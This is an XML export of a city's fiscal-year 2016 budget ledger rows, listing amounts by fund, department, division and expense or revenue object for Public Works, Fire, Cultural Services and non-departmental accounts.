<row _id="21629"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>69266</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>69266</total></row>
<row _id="21630"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>577500.0</object><object_description>TRANSFER - GF CODE COMPLIANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21631"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>533720.0</object><object_description>RADIO EQUIP &amp; MAINT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>31151</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>31151</total></row>
<row _id="21632"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400151.0</object><object_description>DOCUMENTARY TRANSFER TAX</object_description><category_code>606.0</category_code><category_code_description>Other Local Taxes</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21633"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400180.0</object><object_description>LOCAL PUBLIC SAFETY FUNDS</object_description><category_code>602.0</category_code><category_code_description>Property Taxes</category_code_description><fiscal_year>2016</fiscal_year><july>-1065409</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-1065409</total></row>
<row _id="21634"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>401420.0</object><object_description>TRANSACTION AND USE TAX</object_description><category_code>604.0</category_code><category_code_description>Sales Tax</category_code_description><fiscal_year>2016</fiscal_year><july>-16142250</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-16142250</total></row>
<row _id="21635"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>167792</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>167792</total></row>
<row _id="21636"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3373</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3373</total></row>
<row _id="21637"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>6000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6000</total></row>
<row _id="21638"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>53693</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>53693</total></row>
<row _id="21639"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>588</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>588</total></row>
<row _id="21640"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>59580</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>59580</total></row>
<row _id="21641"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>533170.0</object><object_description>AUDIO EQUIPMENT MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21642"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1235688</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1235688</total></row>
<row _id="21643"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>10000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10000</total></row>
<row _id="21644"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>36960</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>36960</total></row>
<row _id="21645"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3133</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3133</total></row>
<row _id="21646"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577703.0</object><object_description>PROP A REIMBURSEMENT ADMIN</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>50000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>50000</total></row>
<row _id="21647"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>BLDG/STR MAINT-COLO ESP</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>20000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>20000</total></row>
<row _id="21648"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522150.0</object><object_description>STORMWATER MANAGEMENT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>6400</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6400</total></row>
<row _id="21649"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>41710</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>41710</total></row>
<row _id="21650"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-27316</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-27316</total></row>
<row _id="21651"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2200</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2200</total></row>
<row _id="21652"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>87000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>87000</total></row>
<row _id="21653"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>8200</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8200</total></row>
<row _id="21654"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>25771</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>25771</total></row>
<row _id="21655"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>147949</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>147949</total></row>
<row _id="21656"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>762056</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>762056</total></row>
<row _id="21657"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>4565</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4565</total></row>
<row _id="21658"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>19403</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>19403</total></row>
<row _id="21659"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>599608</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>599608</total></row>
<row _id="21660"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>544200.0</object><object_description>SPORTS SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>40000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>40000</total></row>
<row _id="21661"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>401950.0</object><object_description>BLANKET UTILITY PERMITS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-56052</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-56052</total></row>
<row _id="21662"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>82614</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>82614</total></row>
<row _id="21663"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>522120.0</object><object_description>UTILITIES - NATURAL GAS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>19500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>19500</total></row>
<row _id="21664"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>24000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>24000</total></row>
<row _id="21665"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>544200.0</object><object_description>SPORTS SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>45000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>45000</total></row>
<row _id="21666"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>244352</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>244352</total></row>
<row _id="21667"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>200</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>200</total></row>
<row _id="21668"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1000</total></row>
<row _id="21669"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3478</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3478</total></row>
<row _id="21670"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>522120.0</object><object_description>UTILITIES - NATURAL GAS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>300</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>300</total></row>
<row _id="21671"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>17285</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>17285</total></row>
<row _id="21672"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>8421</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8421</total></row>
<row _id="21673"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1600</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1600</total></row>
<row _id="21674"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>6841</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6841</total></row>
<row _id="21675"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>533210.0</object><object_description>BLDG OPER / CUST SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>8644</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8644</total></row>
<row _id="21676"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>570320.0</object><object_description>TRANS FROM 04-GLOW, PLGRND PRT</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>-35600</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-35600</total></row>
<row _id="21677"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>533730.0</object><object_description>MOBILE DATA EQUIP &amp; MAINT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>71726</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>71726</total></row>
